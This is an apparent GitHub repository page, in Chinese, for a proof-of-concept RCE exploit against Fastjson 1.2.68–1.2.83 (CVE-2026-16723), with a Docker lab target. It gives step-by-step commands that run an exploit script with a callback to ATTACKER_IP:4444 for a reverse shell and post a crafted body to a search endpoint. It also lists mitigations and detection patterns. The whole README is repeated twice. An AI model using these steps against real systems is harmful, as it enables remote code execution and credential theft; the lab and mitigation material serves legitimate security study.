EQSTLab/CVE-2026-16723
GitHub: EQSTLab/CVE-2026-16723
Fastjson 1.2.68-1.2.83 版本 `@JSONType` 远程代码执行漏洞的 PoC 利用工具及配套 Docker 靶场环境。
Stars: 1 | Forks: 0
# CVE-2026-16723 Fastjson RCE
★ CVE-2026-16723 Fastjson `@JSONType` RCE PoC ★
# 概述
# 受影响版本 | 类别 | 版本 | |---|---| | **存在漏洞** | Fastjson **1.2.68 ≤ version ≤ 1.2.83** | | **已修复** | 迁移至 **Fastjson 2.x**(无修复后的 1.x 版本) |
# 影响 - 以服务账号身份执行远程代码执行 (RCE) - 从主机和环境中泄露密钥 / 凭据 - 受影响应用程序被完全攻陷
# 环境 实验目标是一个公开的在线商店 (`Northwind Store`),其搜索 API 使用 Fastjson 绑定请求体。所有配置均为 Fastjson 的默认设置: SafeMode 关闭,AutoType 关闭,打包为 Spring Boot fat-JAR。 ``` docker build -t cve-2026-16723 . docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723 ``` | 前置条件 | 本实验中的状态 | |---|---| | Fastjson 1.2.68 – 1.2.83 | 1.2.83 | | Spring Boot 可执行 fat-JAR | 是 | | 未经身份验证的 JSON 解析路径 | `POST /api/products/search` | | SafeMode / AutoType | 默认设置(两者均关闭) |
# PoC 攻击者和目标运行在同一个 Docker 桥接网络上,因此目标会通过出站连接访问攻击者(无需发布额外端口)。 ## 步骤 1. 确认目标已启动 ``` curl http://TARGET_IP:8080/api/health curl -X POST http://TARGET_IP:8080/api/products/search \ -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}' ``` ## 步骤 2. 在攻击机运行 exploit `exploit.py` 会构建 payload JAR,提供服务,启动监听器,并打印请求体。只需要提供回调地址即可。 ``` python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444 ``` ## 步骤 3. 投递 payload 将打印出的请求体粘贴到搜索端点中(使用 Burp Repeater 或 `curl`)并发送。搜索请求是一个正常的功能;只有其 JSON 请求体是经过构造的。 ``` curl -X POST http://TARGET_IP:8080/api/products/search \ -H 'Content-Type: application/json' --data-binary @body.json ``` ## 步骤 4. 确认结果 代码将以服务账号身份运行。通过获取到的 shell 读取 flag: ``` whoami ```
# 缓解措施 - 迁移至 Fastjson 2.x - 或运行 `com.alibaba:fastjson:1.2.83_noneautotype` - 或在启动 JVM 时添加 `-Dfastjson.parser.safeMode=true` - 检测:包含 `jar:http` 或 `jar:file` / `/proc/self/fd` 模式的 JSON `@type` 值
# 分析 - KR: - EN:
# 概述
# 受影响版本 | 类别 | 版本 | |---|---| | **存在漏洞** | Fastjson **1.2.68 ≤ version ≤ 1.2.83** | | **已修复** | 迁移至 **Fastjson 2.x**(无修复后的 1.x 版本) |
# 影响 - 以服务账号身份执行远程代码执行 (RCE) - 从主机和环境中泄露密钥 / 凭据 - 受影响应用程序被完全攻陷
# 环境 实验目标是一个公开的在线商店 (`Northwind Store`),其搜索 API 使用 Fastjson 绑定请求体。所有配置均为 Fastjson 的默认设置: SafeMode 关闭,AutoType 关闭,打包为 Spring Boot fat-JAR。 ``` docker build -t cve-2026-16723 . docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723 ``` | 前置条件 | 本实验中的状态 | |---|---| | Fastjson 1.2.68 – 1.2.83 | 1.2.83 | | Spring Boot 可执行 fat-JAR | 是 | | 未经身份验证的 JSON 解析路径 | `POST /api/products/search` | | SafeMode / AutoType | 默认设置(两者均关闭) |
# PoC 攻击者和目标运行在同一个 Docker 桥接网络上,因此目标会通过出站连接访问攻击者(无需发布额外端口)。 ## 步骤 1. 确认目标已启动 ``` curl http://TARGET_IP:8080/api/health curl -X POST http://TARGET_IP:8080/api/products/search \ -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}' ``` ## 步骤 2. 在攻击机运行 exploit `exploit.py` 会构建 payload JAR,提供服务,启动监听器,并打印请求体。只需要提供回调地址即可。 ``` python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444 ``` ## 步骤 3. 投递 payload 将打印出的请求体粘贴到搜索端点中(使用 Burp Repeater 或 `curl`)并发送。搜索请求是一个正常的功能;只有其 JSON 请求体是经过构造的。 ``` curl -X POST http://TARGET_IP:8080/api/products/search \ -H 'Content-Type: application/json' --data-binary @body.json ``` ## 步骤 4. 确认结果 代码将以服务账号身份运行。通过获取到的 shell 读取 flag: ``` whoami ```
# 缓解措施 - 迁移至 Fastjson 2.x - 或运行 `com.alibaba:fastjson:1.2.83_noneautotype` - 或在启动 JVM 时添加 `-Dfastjson.parser.safeMode=true` - 检测:包含 `jar:http` 或 `jar:file` / `/proc/self/fd` 模式的 JSON `@type` 值
# 分析 - KR: - EN:
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, PoC, RCE, 安全, 暴力破解, 网络信息收集, 请求拦截, 超时处理, 逆向工具